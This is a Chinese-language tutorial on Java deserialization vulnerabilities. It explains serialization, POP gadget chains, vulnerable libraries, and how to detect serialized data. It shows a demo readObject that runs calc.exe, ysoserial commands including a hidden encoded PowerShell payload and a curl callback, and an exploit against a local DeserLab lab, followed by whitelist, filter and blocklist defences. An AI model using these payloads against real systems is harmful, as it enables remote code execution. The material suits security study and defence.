学习本系列文章须要的Java基础:java
了解Java基础语法及结构(菜鸟教程)python
了解Java面向对象编程思想(快速理解请上知乎读故事,深刻钻研建议买本《疯狂Java讲义》另外有一个刘意老师的教学视频也能够了解一下,其中关于面向对象思想的介绍比较详细。连接:https://pan.baidu.com/s/1kUGb3D1#list/path=%2F&parentPath=%2FJava%E7%B1%BB 密码:kk0x)git
基本的Eclipse使用(自行百度)程序员
其实只要大学上过Java课,或者自学过一小段时间都OK。若是没有的话,能够括号里的资源资源在短期内掌握。github
本教程的目的:web
掌握反序列化漏洞原理。spring
在实战中能发现和利用反序列化漏洞。shell
掌握合理规避反序列化漏洞的编程技巧。apache
Java描述的是一个‘世界’,程序运行开始时,这个‘世界’也开始运做,但‘世界’中的对象不是一成不变的,它的属性会随着程序的运行而改变。
但不少状况下,咱们须要保存某一刻某个对象的信息,来进行一些操做。好比利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中,而后能够在另外一个程序中对序列化后的对象状态数据进行反序列化恢复对象。能够有效地实现多平台之间的通讯、对象持久化存储。编程
一个类的对象要想序列化成功,必须知足两个条件:
该类必须实现 java.io.Serializable 接口。
该类的全部属性必须是可序列化的。若是有一个属性不是可序列化的,则该属性必须注明是短暂的。
若是你想知道一个 Java 标准类是不是可序列化的,能够经过查看该类的文档,查看该类有没有实现 java.io.Serializable接口。
下面书写一个简单的demo,为了节省文章篇幅,这里把序列化操做和反序列化操做弄得简单一些,并省去了传递过程,
对象所属类:
/** * Description: * <br/>网站: <a href="http://ph0rse.me">Ph0rse's Blog</a> * <br/>Copyright (C), 2018-2020, Ph0rse * <br/>This program is protected by copyright laws. * <br/>Program Name: * <br/>Date: * @author Ph0rse prudenidealist@outlook.com * @version 1.0 */ public class Employee implements java.io.Serializable { public String name; public String identify; public void mailCheck() { System.out.println("This is the "+this.identify+" of our company"); } }
将对象序列化为二进制文件:
//反序列化所需类在io包中 import java.io.*; public class SerializeDemo { public static void main(String [] args) { Employee e = new Employee(); e.name = "员工甲"; e.identify = "General staff"; try { // 打开一个文件输入流 FileOutputStream fileOut = new FileOutputStream("D:\\Task\\employee1.db"); // 创建对象输入流 ObjectOutputStream out = new ObjectOutputStream(fileOut); //输出反序列化对象 out.writeObject(e); out.close(); fileOut.close(); System.out.printf("Serialized data is saved in D:\\Task\\employee1.db"); }catch(IOException i) { i.printStackTrace(); } } }
一个Identity属性为Visitors的对象被储存进了employee1.db,而反序列化操做就是从二进制文件中提取对象:
import java.io.*; public class SerializeDemo { public static void main(String [] args) { Employee e = null; try { // 打开一个文件输入流 FileInputStream fileIn = new FileInputStream("D:\\Task\\employee1.db"); // 创建对象输入流 ObjectInputStream in = new ObjectInputStream(fileIn); // 读取对象 e = (Employee) in.readObject(); in.close(); fileIn.close(); }catch(IOException i) { i.printStackTrace(); return; }catch(ClassNotFoundException c) { System.out.println("Employee class not found"); c.printStackTrace(); return; } System.out.println("Deserialized Employee..."); System.out.println("Name: " + e.name); System.out.println("This is the "+e.identify+" of our company"); } }
就这样,一个完整的序列化周期就完成了,其实实际应用中的序列化无非就是传输的方式和传输机制稍微复杂一点,和这个demo没有太大区别。
PS:try和catch是异常处理机制,和序列化操做没有直接关系。若是想要深刻学习Java编程,建议购买一本《Java疯狂讲义》,还有金旭亮老师的Java学习PPT(力荐)
在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引起漏洞。
PS:有时也会使用readUnshared()方法来读取对象,readUnshared()不容许后续的readObject和readUnshared调用引用此次调用反序列化获得的对象,而readObject读取的对象能够。
//反序列化所需类在io包中 import java.io.*; public class test{ public static void main(String args[]) throws Exception{ UnsafeClass Unsafe = new UnsafeClass(); Unsafe.name = "hacked by ph0rse"; FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将Unsafe对象写入object文件 os.writeObject(Unsafe); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("object"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); } } class UnsafeClass implements Serializable{ public String name; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行命令 Runtime.getRuntime().exec("calc.exe"); } }
程序运行逻辑为:
UnsafeClass类被序列化进object文件
从object文件中恢复对象
调用被恢复对象的readObject方法
命令执行
以前的demo就是一个对反序列化彻底没有进行安全审查的示例,但实战中不会有程序员会写出这种弱智代码。所以开发时产生的反序列化漏洞常见的有如下几种状况:
重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
使用第三方的类进行黑名单控制。虽然Java的语言严谨性要比PHP强的多,但在大型应用中想要采用黑名单机制禁用掉全部危险的对象几乎是不可能的。所以,若是在审计过程当中发现了采用黑名单进行过滤的代码,多半存在一两个‘漏网之鱼’能够利用。而且采起黑名单方式仅仅可能保证此刻的安全,若在后期添加了新的功能,就可能引入了新的漏洞利用方式。因此仅靠黑名单是没法保证序列化过程的安全的。
优秀的Java开发人员通常会按照安全编程规范进行编程,很大程度上减小了反序列化漏洞的产生。而且一些成熟的Java框架好比Spring MVC、Struts2等,都有相应的防范反序列化的机制。若是仅仅是开发失误,可能不多会产生反序列化漏洞,即便产生,其绕过方法、利用方式也较为复杂。但其实,有很大比例的反序列化漏洞是因使用了不安全的基础库而产生的。
2015年由黑客Gabriel Lawrence和Chris Frohoff发现的‘Apache Commons Collections’类库直接影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架。直到今天该漏洞的影响仍未消散。
存在危险的基础库:
commons-fileupload 1.3.1 commons-io 2.4 commons-collections 3.1 commons-logging 1.2 commons-beanutils 1.9.2 org.slf4j:slf4j-api 1.7.21 com.mchange:mchange-commons-java 0.2.11 org.apache.commons:commons-collections 4.0 com.mchange:c3p0 0.9.5.2 org.beanshell:bsh 2.0b5 org.codehaus.groovy:groovy 2.3.9 org.springframework:spring-aop 4.1.4.RELEASE
某反序列化防御软件即是经过禁用如下类的反序列化来保护程序:
'org.apache.commons.collections.functors.InvokerTransformer', 'org.apache.commons.collections.functors.InstantiateTransformer', 'org.apache.commons.collections4.functors.InvokerTransformer', 'org.apache.commons.collections4.functors.InstantiateTransformer', 'org.codehaus.groovy.runtime.ConvertedClosure', 'org.codehaus.groovy.runtime.MethodClosure', 'org.springframework.beans.factory.ObjectFactory', 'xalan.internal.xsltc.trax.TemplatesImpl'
基础库中的调用流程通常都比较复杂,好比org.apache.commons.collections.functors.InvokerTransformer
的POP链就涉及反射、泛型等,而网上也有不少复现跟踪流程的文章,好比前些天先知发布的这两篇。
Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
这里就再也不赘述了,能够跟着ysoserial的EXP去源码中一步步跟进、调试。
这里介绍一个概念,POP Gadgets指的是在经过带入序列化数据,通过一系列调用的代码链,其中POP指的是Property-Oriented Programming,即面向属性编程,和逆向那边的ROP很类似,面向属性编程(Property-Oriented Programing)经常使用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理类似,都是从现有运行环境中寻找一系列的代码或者指令调用,而后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就可以使用这一组调用链作一些工做了。二者的不一样之处在于ROP更关注底层,而POP只关注对象与对象之间的调用关系。
Gadgets是小工具的意思,POP Gadgets即为面向属性编程的利用工具、利用链。当咱们肯定了能够带入序列化数据的入口后,即是要寻找对应的POP链。以上提到的基础库和框架偏偏提供了可致使命令执行 POP 链的环境,因此引入了用户可控的序列化数据,并使用了不安全的基本库,就意味着存在反序列化漏洞。
随着对反序列化漏洞的深刻,咱们会慢慢意识到很难将不安全的基本库这一历史遗留问题彻底清楚,因此清楚漏洞的根源仍是在不可信的输入和未检测反序列化对象安全性。
基本库中的反序列化触发机制较为复杂和底层,能够结合ysoserial源码中的exp来进行跟进分析。
本文后期会进行详细讲解。
当持有程序源码时,能够采用这种方法,逆向寻找漏洞。
反序列化操做通常应用在导入模板文件、网络通讯、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。所以审计过程当中重点关注这些功能板块。
流程以下:
① 经过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点
能够搜索如下函数:
ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject
小数点前面是类名,后面是方法名
② 肯定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其余库亦可)。
③ 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,致使bug。
④ 若包含危险库,则使用ysoserial进行攻击复现。
在黑盒测试中并不清楚对方的代码架构,但仍然能够经过分析十六进制数据块,锁定某些存在漏洞的通用基础库(好比Apache Commons Collection)的调用地点,并进行数据替换,从而实现利用。
在实战过程当中,咱们能够经过抓包来检测请求中可能存在的序列化数据。
序列化数据一般以AC ED
开始,以后的两个字节是版本号,版本号通常是00 05
但在某些状况下多是更高的数字。
为了理解反序列化数据样式,咱们使用如下代码举例:
import java.io.*; public class SerializeDemo { public static void main(String [] args) { Employee e = new Employee(); e.name = "员工甲"; e.identify = "General staff"; try { // 打开一个文件输入流 FileOutputStream fileOut = new FileOutputStream("D:\\Task\\employee1.db"); // 创建对象输入流 ObjectOutputStream out = new ObjectOutputStream(fileOut); //输出反序列化对象 out.writeObject(e); out.close(); fileOut.close(); System.out.printf("Serialized data is saved in D:\\Task\\employee1.db"); }catch(IOException i) { i.printStackTrace(); } } }
在本地环境下运行一下,便可看到生成的employee1.db文件。
生成的employee1.db反序列化数据为(可用Winhex、Sublime等工具打开):
须要注意的是,AC ED 00 05
是常见的序列化数据开始,但有些应用程序在整个运行周期中保持与服务器的网络链接,若是攻击载荷是在延迟中发送的,那检测这四个字节就是无效的。因此有些防火墙工具在检测反序列化数据时仅仅检测这几个字节是不安全的设置。
因此咱们也要对序列化转储过程当中出现的Java类名称进行检测,Java类名称可能会以“L”开头的替代格式出现 ,以’;’结尾 ,并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。除了Java类名,因为序列化格式规范的约定,还有一些其余常见的字符串,例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的’sr’或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的’xp’。
识别出序列化数据后,就要定位插入点,不一样的数据类型有如下的十六进制对照表:
0x70 - TC_NULL 0x71 - TC_REFERENCE 0x72 - TC_CLASSDESC 0x73 - TC_OBJECT 0x74 - TC_STRING 0x75 - TC_ARRAY 0x76 - TC_CLASS 0x7B - TC_EXCEPTION 0x7C - TC_LONGSTRING 0x7D - TC_PROXYCLASSDESC 0x7E - TC_ENUM
AC ED 00 05
以后可能跟上述的数据类型说明符,也可能跟77(TC_BLOCKDATA元素)
或7A(TC_BLOCKDATALONG元素)
其后跟的是块数据。
序列化数据信息是将对象信息按照必定规则组成的,那咱们根据这个规则也能够逆向推测出数据信息中的数据类型等信息。而且有大牛写好了现成的工具-SerializationDumper
用法:java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2
后面跟的十六进制字符串即为序列化后的数据
工具自动解析出包含的数据类型以后,就能够替换掉TC_BLOCKDATE进行替换了。AC ED 00 05
通过Base64编码以后为rO0AB
在实战过程当中,咱们能够经过tcpdump抓取TCP/HTTP请求,经过SerialBrute.py去自动化检测,并插入ysoserial生成的exp
SerialBrute.py -r <file> -c <command> [opts]
SerialBrute.py -p <file> -t <host:port> -c <command> [opts]
使用ysoserial.jar访问请求记录判断反序列化漏洞是否利用成功:java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '
当怀疑某个web应用存在Java反序列化漏洞,能够经过以上方法扫描并爆破攻击其RMI或JMX端口(默认1099)。
在这里,咱们使用大牛写好的DeserLab来模拟实战环境。
DeserLab是一个使用了Groovy库的简单网络协议应用,实现client向server端发送序列化数据的功能。而Groovy库和上文中的Apache Commons Collection库同样,含有可利用的POP链。
咱们可使用上文提到的ysoserial和在线载荷生成器进行模拟利用。
复现环境:
win10
python2.7
java1.8
首先生成有效载荷,因为是在windows环境下,因此使用powershell做为攻击载体。
用ysoserial生成针对Groovy库的payloadjava -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgA MAByAHMAZQA=" > payload2.bin
在DeserLab的Github项目页面下载DeserLab.jar
命令行下使用java -jar DeserLab.jar -server 127.0.0.1 6666
开启本地服务端。
使用deserlab_exploit.py脚本【上传到本身的github gist页面上】生成payload:python deserlab_exploit.py 127.0.0.1 6666 payload2.bin
PS:注意使用py2.7
成功写入:
便可执行任意命令
每一名Java程序员都应当掌握防范反序列化漏洞的编程技巧、以及如何下降危险库对应用形成的危害。
下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,以后配置让其可以容许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。
在使用readObject()反序列化时首先会调用resolveClass方法读取反序列化的类名,因此这里经过重写ObjectInputStream对象的resolveClass方法便可实现对反序列化类的校验。具体实现代码Demo以下:
public class AntObjectInputStream extends ObjectInputStream{ public AntObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * 只容许反序列化SerialObject class */ @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(SerialObject.class.getName())) { throw new InvalidClassException( "Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } }
经过此方法,可灵活的设置容许反序列化类的白名单,也可设置不容许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单须要一直更新维护,且未公开的利用方法没法覆盖。
org.apache.commons.collections.functors.InvokerTransformer org.apache.commons.collections.functors.InstantiateTransformer org.apache.commons.collections4.functors.InvokerTransformer org.apache.commons.collections4.functors.InstantiateTransformer org.codehaus.groovy.runtime.ConvertedClosure org.codehaus.groovy.runtime.MethodClosure org.springframework.beans.factory.ObjectFactory com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.commons.fileupload org.apache.commons.beanutils
根据以上方法,有大牛实现了线程的SerialKiller包可供使用。
使用Apache Commons IO Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制,具体可参考ValidatingObjectInputStream介绍;示例代码以下:
private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException , ConfigurationException { Object obj; ByteArrayInputStream bais = new ByteArrayInputStream(buffer); // Use ValidatingObjectInputStream instead of InputStream ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais); //只容许反序列化SerialObject class ois.accept(SerialObject.class); obj = ois.readObject(); return obj; }
contrast-rO0是一个轻量级的agent程序,经过经过重写ObjectInputStream来防护反序列化漏洞攻击。使用其中的SafeObjectInputStream类来实现反序列化类白/黑名单控制,示例代码以下:
SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true); in.addToWhitelist(SerialObject.class); in.readObject();
Java 9包含了支持序列化数据过滤的新特性,开发人员也能够继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的setObjectInputFilter设置过滤器来实现反序列化类白/黑名单控制。示例代码以下:
import java.util.List; import java.util.Optional; import java.util.function.Function; import java.io.ObjectInputFilter; class BikeFilter implements ObjectInputFilter { private long maxStreamBytes = 78; // Maximum allowed bytes in the stream. private long maxDepth = 1; // Maximum depth of the graph allowed. private long maxReferences = 1; // Maximum number of references in a graph. @Override public Status checkInput(FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth|| filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null) { if (SerialObject.class == filterInfo.serialClass()) { return Status.ALLOWED; } else { return Status.REJECTED; } } return Status.UNDECIDED; } // end checkInput } // end class BikeFilter
上述示例代码,仅容许反序列化SerialObject类对象。
经过扩展SecurityManager
SecurityManager originalSecurityManager = System.getSecurityManager(); if (originalSecurityManager == null) { // 建立本身的SecurityManager SecurityManager sm = new SecurityManager() { private void check(Permission perm) { // 禁止exec if (perm instanceof java.io.FilePermission) { String actions = perm.getActions(); if (actions != null && actions.contains("execute")) { throw new SecurityException("execute denied!"); } } // 禁止设置新的SecurityManager,保护本身 if (perm instanceof java.lang.RuntimePermission) { String name = perm.getName(); if (name != null && name.contains("setSecurityManager")) { throw new SecurityException("System.setSecurityManager denied!"); } } } @Override public void checkPermission(Permission perm) { check(perm); } @Override public void checkPermission(Permission perm, Object context) { check(perm); } }; System.setSecurityManager(sm); }
在反序列化时设置类的黑名单来防护反序列化漏洞利用及攻击,这个作法在源代码修复的时候并非推荐的方法,由于你不能保证能覆盖全部可能的类,并且有新的利用payload出来时也须要随之更新黑名单,但有一种场景下可能黑名单是一个不错的选择。写代码的时候总会把一些常常用到的方法封装到公共类,这样其它工程中用到只须要导入jar包便可,此前已经见到不少提供反序列化操做的公共接口,使用第三方库反序列化接口就很差用白名单的方式来修复了。这个时候做为第三方库也不知道谁会调用接口,会反序列化什么类,因此这个时候可使用黑名单的方式来禁止一些已知危险的类被反序列化,具体的黑名单类可参考contrast-rO0、ysoserial中paylaod包含的类。
感受在实战中遇到的Java站点愈来愈多,Java反序列化漏洞的利用也愈发显得重要。除了常见的Web服务反序列化,安卓、桌面应用、中间件、工控组件等等的反序列化。以及XML(前一阵的Weblogic挖矿事件就是XMLDecoder引发的Java反序列化)、JSON、RMI等细致化的分类。代码审计及渗透测试过程当中能够翻阅我翻译的一份Java反序列化漏洞备忘单,里面集合了目前关于Java反序列化研究的大会PPT、PDF文档、测试代码,以及权威组织发布的漏洞研究报告,还有被反序列化攻破的应用清单(附带POC)。这着实是一个庞大的知识体系,笔者目前功力较浅,但愿往后还能和各位师傅一块儿讨论、学习。